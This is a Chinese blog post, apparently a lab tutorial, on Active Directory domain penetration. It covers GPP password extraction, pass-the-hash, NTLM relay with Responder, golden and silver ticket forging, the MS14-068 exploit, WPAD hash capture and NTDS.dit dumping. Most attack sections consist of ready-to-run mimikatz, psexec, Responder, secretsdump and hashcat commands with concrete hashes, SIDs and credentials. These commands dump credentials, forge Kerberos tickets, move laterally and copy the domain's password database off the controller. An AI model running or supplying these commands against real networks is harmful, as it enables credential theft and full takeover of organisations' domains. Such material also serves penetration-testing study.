前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[干货基础]域渗透学习

[干货基础]域渗透学习

作者头像
天钧
发布2020-11-03 15:08:29
1.5K0
发布2020-11-03 15:08:29
举报
文章被收录于专栏:渗透云笔记渗透云笔记

一、Kerbers协议NTLM认证

Kerberos是一种由MIT提出的一种计算机网络授权协议,旨在通过使用加密技术为客户端/服务端应用程序提供强大的认证服务。域内访问其他应用应遵循服务Kerberos协议。完整的域内应用访问流程如图所示,首先由客户端向域控发起认证请求,域控验证用户是否属于合法域用户,若合法则由域控响应主机请求分发TGT认证票据(黄金票据可伪造TGT),拿到证书后主机可以继续请求访问域内的应用服务,若权限符合域控会返回允许主机访问域内某应用服务的TGS票据,主机拿着TGS票据访问对应的应用服务,该应用服务器验证TGS通过后主机即可顺利访问应用服务

- TGT

TGT验证用户是否属于合法域用户,合法域控则分发TGT认证票据。 黄金票据用于伪造TGT,拿到TGT就可以访问域内所有主机

- TGS

允许访问某一项服务的访问票据。TGS票据正常才可以访问对应服务 白银票据用于伪造TGS。

TGT、TGS票据具有时效性。票据通过对比NTLM 加密时间戳hash值进行验证


二、域安全策略测试攻击

GPP(Group Policy Preference):组策略偏好漏洞利用。GPP中域控给域成员添加的账号信息以xml形式保存在域内主机,可以直接读取xml文件拿到账号密码。所以在拿下域内主机之后一定要打开访问域策略共享文件夹,可以看到拿到的域主机被下发了哪些策略。通过这些策略可以获取更多相关域的信息。


1.SYSVOL

SYSVOL是存储域公共文件服务器副本的共享文件夹,在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息会复制到域中所有DC上

域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:

  • 映射驱动(Drives.xml)
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)

由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限。


2.GPP漏洞利用实例

由域控分发策略到组织单位,然后利用GPP获取敏感信息:

2.1 创建组策略

①创建组织单位,将需要下发策略的用户移动到此单位。此时对xyz组进行组策略下发,该组里的用户都会被执行策略

②在该组织单位下新建组策略对象

③编辑组策略,更新本地用户。

至此成功在域控下发了一个组策略,策略内容:创建xyz-test用户,密码为123.com。接下来进行GPP漏洞利用以获取敏感信息。


2.2 漏洞利用

①在获取权限的域内主机更新策略,使下发的策略生效

代码语言:javascript
复制
gpupdate /force

②查看该策略对应的id号

③寻找组策略对应的本地文件 在域中,存在一个默认的共享路径:**\\SYSVOL<DOMAIN>\**。所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

④查看策略内容,文件内容里面cpassword项保存的是加密后的内容,加密方式为AES 256

还原hash的方式可采用开源的powershell脚本,项目地址如下:

代码语言:javascript
复制
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
代码语言:javascript
复制

⑤ 执行powershell解密hash。将该cpassword密码值放到powershell脚本里面然后执行脚本读取得到组策略下发的密码

综上所述:拿到域主机一定要打开访问域策略共享文件夹,可以看到拿到的域主机被下发了哪些策略。通过这些策略可以获取更多相关域的信息


三、PTH 哈希传递攻击

windows 2012及之后版本目前无法直接读取明文只能读取主机密文,提权后读取域主机密文。然后通过爆破碰撞等方式获取明文密码,但是不可控制因素比较大。此时也可利用PTH哈希传递方式对内网进行攻击。

PTH

pass the hash。获取一台主机的本地管理员组成员账号的口令NTLM后,无法破解密码,使用PTH方法将管理员账号及NTLM注入当前会话作为凭据,利用该凭据可以渗透获取周围的主机的管理权限,如果对方存在相同账号及密码,进行密码碰撞是可以获取到这些主机权限的。

1.利用mimikatz.exe读取本地hash密文

代码语言:javascript
复制
mimikatz.exe              //运行
privilege::debug          //提权
lsadump::lsa /patch      //得到hash密文
# 或者一步到位并将查询结果保存造本地txt文件:
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt

②利用拿得到的hash来连接域内其他目标机器

代码语言:javascript
复制
imikatz.exe "privilege::debug" "sekurlsa::pth /domain:safe-duck /user:administrator /ntlm:f5082729365bda3f34f598f99b33b242" exit
代码语言:javascript
复制
 

③得到具有用户身份的cmd shell,执行命令:

代码语言:javascript
复制
dir \\WIN-6JM3ECTM2CO.safe-duck.com\c$
# 调用cmd
psexec.exe \\域控IP cmd.exe

中继hash攻击

在hash无法解密的情况下也可以通过中继NTLMv2哈希的方法来获取网络中机器的shell访问权限,获取hash值可以帮助攻击者获取shell访问权限。

代码语言:javascript
复制
vi /usr/share/responder/Responder.conf 
#将SMB和HTTP的值改为off。这样responder就不会获取哈希值,而是Multirelay.py来完成这一任务

1. 网段扫描

代码语言:javascript
复制
因为只能对SMB signing设置为True的机器发起攻击。运行RunFinger.py脚本来识别将SMB
signing设置为True的网络中的HOST机器。RunFinger.py脚本会预测IP的范围来检查现有的HOSTS的SMB
signing是否启用。运行RunFinger.py脚本的命令为:
代码语言:javascript
复制
python RunFinger.py -i 192.168.1.0/24

2.获取可攻击的主机(true)

3.开启responder监听

代码语言:javascript
复制
responder -I eth0
代码语言:javascript
复制

4.运行Multirelay.py脚本,做中继代理

代码语言:javascript
复制
python MultiRelay.py -t 192.168.1.11 -u ALL
代码语言:javascript
复制
5.等待目标上线如果中继成功会反弹一个cmd.exe。这是利用失败的案例

但是在日志里面已经获取到hash身份,也不算全部失败(自我安慰)

代码语言:javascript
复制
 参考:https://xz.aliyun.com/t/3560

四、黄金票据攻击测试

黄金票据攻击,是一种为任意用户生成TGT票据的方法,属于一种后门。黄金票据生成,是生成有效的TGT Kerberos票据,并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天),这里可以为任意用户生成黄金票据,然后为域管理员生成TGT,这样普通用户就可以变成域管理员。

黄金票据的制作条件:

  • 1.域名称
  • 2.域的SID
  • 3.域控的Krbtgt账户的密码hash值
  • 4.任意域用户名

制作TGT票据需要获取Krbtgt账户的密码hash,而Krbtgt账户的密码hash存储在域控上。因此黄金票据攻击测试本身就是个无解的死循环,所以他并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用该hash制作黄金票据,从而获得管理员权限。当然也可以通过抓取/嗅探等方式获取krbtst的hash进行常规的攻击。

代码语言:javascript
复制
klist             #查看当前拥有的票据
klist purge     #清空票据

1.获取票据伪造所需要的TGT信息获取krbtst的hash,这里是直接在域控里面看的。实际情况就是上面说的无解死循环

代码语言:javascript
复制
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
代码语言:javascript
复制

2.获取域的sid信息:在已经拿下的域主机获取执行命令

代码语言:javascript
复制
whoami /all
代码语言:javascript
复制
得到:S-1-5-21-4065905668-3814866385-3259433788

3.mimikatz工具伪造黄金票据:

代码语言:javascript
复制
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /krbtgt:c4af830cd0ee19d893c652a3ad9f88b7 /ptt" exit
#伪造成功,查看票据
klist

4.查看共享

代码语言:javascript
复制
dir \\WIN-6JM3ECTM2CO.safe-duck.com\c$

5.利用psexec 调用目标域控制器的cmd

代码语言:javascript
复制
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
代码语言:javascript
复制

五、白银票据攻击测试

1.获取域控的设备名称

2.获取域的sid

代码语言:javascript
复制
whoami /all
代码语言:javascript
复制

3.获取域控的hash(死循环第二季)

代码语言:javascript
复制
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt

4.域内主机伪造白银票据

代码语言:javascript
复制
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /target:WIN-6JM3ECTM2CO.safe-duck.com /service:cifs /rc4:9f1ed160f3dff10ba81109cbaf19f5fc /ptt" exit

5.票据注入成功

6.psexec 调用目标域控制器的cmd

代码语言:javascript
复制
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe

六、ms14-068 漏洞利用

ms14-068漏洞利用不需要域控的hash,利用的是目标域控的系统漏洞。但是需要普通域用户的账号及密码。

利用步骤

1.首先在域控检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞

2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid。exp项目地址:

代码语言:javascript
复制
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

3.将内存中已有的kerberos票据清除,清除方法使用mimikatz,或者klist purge

4.使用whoami /all查看本机用户suid

5. 利用ms14-068.exe提权工具在当前目录生成伪造的kerberos协议认证证书

代码语言:javascript
复制
ms14-068.exe -u win7@safe-duck.com -p 123.com -s S-1-5-21-4065905668-3814866385-3259433788-1105 -d WIN-6JM3ECTM2CO.safe-duck.com

6. 将证书文件复制到mimikaz同级目录下。写入证书,从而提升为域管理员

代码语言:javascript
复制
mimikatz.exe "kerberos::ptc TGT_hh@safe-duck.com.ccache" exit
代码语言:javascript
复制

7.再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功

8.使用PsExec.exe获取shell,#psexec.exe以管理员权限运行连接域控

代码语言:javascript
复制
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe

七、Responder -WPAD 提权

代码语言:javascript
复制
Responder下载地址:https://github.com/lgandx/Responder

浏览器默认自动检测代理设置如下,当目标访问某个网站时,利用kali伪造代理主机,要求目标机器提供hash,kali抓取此hash

1.kali 设置侦听

代码语言:javascript
复制
responder -I eth0
#Responder会启动80端口,用之前关闭80服务
/etc/init.d/apache2 stop

目标在浏览器上访问任意网页,kali获取到hash

2.hashcat破解

代码语言:javascript
复制
hashcat -m 5600 hash.txt -a 0 pass.txt --force
#5600>NTLM加密协议
代码语言:javascript
复制

八、提取域控NTDS hash文件

拿到域控账号后,由于各种原因没法直接登录域控。此时通过webshell来执行命令,在普通域设备上获取域控的ntds hash核心用户数据。实验环境及实验条件:

1.已得到域管理员账号密码 2.win7 充当被拿了shell的域内普通机器


实验步骤

1.和域控建立空链接

#与域控建立空连接net use \\192.168.1.11\ipc$ "123456" /user:"safe-duck\administrator"

代码语言:javascript
复制
2.psexec对域控执行命令查看域控是否建立了卷影副本
代码语言:javascript
复制
psexec \\192.168.1.11 -u "safe-duck\administrator"  -p "123456"  -h cmd /c "vssadmin list shadows >> \\192.168.1.201\c$\test\out.txt"
代码语言:javascript
复制
当前没有卷影副本,则需要手工创建。

3.手工创建卷影副本

代码语言:javascript
复制
psexec \\192.168.1.11 -u safe-duck\administrator  -p "123456" -h cmd /c "vssadmin create shadow /for=c:  >> \\192.168.1.201\c$\test\outs.txt"

4.复制卷影副本到本地

①将ntds文件拷贝到本地服务器

代码语言:javascript
复制
psexec \\192.168.1.11 -u "safe-duck\administrator" -p "123456" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit \\192.168.1.201\c$\test\"

②将system文件拷贝到本地服务器

代码语言:javascript
复制
psexec \\192.168.1.11 -u "safe-duck\administrator" -p "123456" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\192.168.1.201\c$\test\"

5.将拷贝的卷影副本文件放进kali,使用工具读取ntds文件hash内容。获取到域内所用的账户信息

代码语言:javascript
复制
git clone https://github.com/SecureAuthCorp/impacket
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit -user-status loca

6.然后使用hashcat暴力破解

代码语言:javascript
复制
hashcat -m 1000 a.hash -a 0 pass.txt --force --remove win2.hash
-m 1000 #破解密码类型为NTLM
-a 0 #采用字典破解
-o  #将破解后的结果输出到pass1.txt
--remove win2.hash #表示将移除破解成功的hash
代码语言:javascript
复制

最后得到域内所有账号信息。完工

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Kerbers协议NTLM认证
    • 1.SYSVOL
      • 2.GPP漏洞利用实例
        • 由域控分发策略到组织单位,然后利用GPP获取敏感信息:
        • 三、PTH 哈希传递攻击
          • 中继hash攻击
          • 四、黄金票据攻击测试
          • 五、白银票据攻击测试
          • 六、ms14-068 漏洞利用
            • 利用步骤
            • 七、Responder -WPAD 提权
            • 八、提取域控NTDS hash文件
              • 实验步骤
              相关产品与服务
              访问管理
              访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档